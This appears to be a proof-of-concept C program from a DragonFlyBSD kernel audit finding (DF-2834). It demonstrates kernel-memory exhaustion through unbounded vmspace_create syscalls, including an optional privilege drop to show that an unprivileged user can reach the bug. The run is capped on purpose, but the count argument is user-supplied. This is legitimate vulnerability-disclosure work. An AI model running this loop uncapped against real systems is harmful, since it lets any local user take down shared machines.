⬢ DragonFlyBSD Kernel Audit
DF-2834 / vmsp_grow.c
← back to finding ↓ download raw
/*
 * DF-2834 PoC -- unbounded vmspace_create kernel-memory exhaustion.
 *
 * sys_vm/vmspace.c:146-201 (sys_vmspace_create) consults no rlimit and no
 * sysctl cap.  Each accepted create pins, until process exit:
 *   - 1 WIRED PML4 vm_page            (pmap.c:2757 vm_page_wire, via
 *                                       pmap_pinit -> pmap_allocpte)
 *   - 2 pages (8KB) pageable KVA      (pmap.c:2368 kmem_alloc_pageable(
 *                                       kernel_map, PAGE_SIZE*2, VM_SUBSYS_PML4))
 *   - sizeof(struct vmspace) objcache (vm_map.c:309 vmspace_alloc,
 *                                       vm_map.c:233 vmspace_cache)
 *   - sizeof(struct vmspace_entry)    (vm_vmspace.c:182 kmalloc M_VKERNEL)
 *
 * This program creates `count' vmspaces with distinct ids (no other
 * resource use) and samples vm.stats.vm.v_wire_count / vm.kvm_free /
 * vm.stats.vm.v_free_count every `sample' iterations.  Optional "-u"
 * drops to uid/gid 65534 (nobody) first, proving unprivileged reachability.
 *
 * The run is deliberately CAPPED below the exhaustion point so the
 * single-tenant audit guest is not wedged; the growth rate plus the
 * machine totals give an honest extrapolated time-to-exhaustion.
 * Process exit must reclaim everything (vkernel_exit ->
 * rb_vmspace_delete -> vmspace_entry_delete), which run.sh verifies.
 */
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/sysctl.h>
#include <sys/time.h>

#define BASE_ID 0x10000000UL

static unsigned long
uisys(const char *name)
{
	unsigned int v = 0;
	size_t l = sizeof(v);

	if (sysctlbyname(name, &v, &l, NULL, 0) < 0) {
		perror(name);
		exit(3);
	}
	return ((unsigned long)v);
}

static unsigned long
ulsys(const char *name)
{
	unsigned long v = 0;
	size_t l = sizeof(v);

	if (sysctlbyname(name, &v, &l, NULL, 0) < 0) {
		perror(name);
		exit(3);
	}
	return (v);
}

static double
now_ms(void)
{
	struct timeval tv;

	gettimeofday(&tv, NULL);
	return ((double)tv.tv_sec * 1000.0 + (double)tv.tv_usec / 1000.0);
}

int
main(int argc, char **argv)
{
	long count = (argc > 1) ? atol(argv[1]) : 20000;
	long sample = (argc > 2) ? atol(argv[2]) : 2000;
	int unpriv = (argc > 3 && strcmp(argv[3], "-u") == 0);
	long i, created = 0;
	double t0;

	if (unpriv) {
		if (setgid(65534) < 0 || setuid(65534) < 0) {
			perror("privdrop to 65534");
			return (2);
		}
	}
	printf("# uid=%d count=%ld sample_every=%ld base_id=0x%lx\n",
	    getuid(), count, sample, BASE_ID);
	printf("# ITER WIRE KVM_FREE FREE_COUNT ELAPSED_MS\n");
	printf("0 %lu %lu %lu 0\n",
	    uisys("vm.stats.vm.v_wire_count"),
	    ulsys("vm.kvm_free"),
	    uisys("vm.stats.vm.v_free_count"));
	t0 = now_ms();
	for (i = 0; i < count; ++i) {
		long r;

		errno = 0;
		r = syscall(SYS_vmspace_create,
		    (void *)(BASE_ID + (unsigned long)i), 0, NULL);
		if (r != 0) {
			printf("FAILED iter=%ld rc=%ld errno=%d (%s)\n",
			    i, r, errno, strerror(errno));
			printf("1 %lu %lu %lu %.0f\n",
			    uisys("vm.stats.vm.v_wire_count"),
			    ulsys("vm.kvm_free"),
			    uisys("vm.stats.vm.v_free_count"), now_ms() - t0);
			return (2);
		}
		++created;
		if ((i + 1) % sample == 0) {
			printf("%ld %lu %lu %lu %.0f\n", i + 1,
			    uisys("vm.stats.vm.v_wire_count"),
			    ulsys("vm.kvm_free"),
			    uisys("vm.stats.vm.v_free_count"), now_ms() - t0);
			fflush(stdout);
		}
	}
	printf("# DONE created=%ld uid=%d elapsed=%.0fms -- exiting, "
	    "vkernel_exit must now reclaim all of it\n",
	    created, getuid(), now_ms() - t0);
	return (0);
}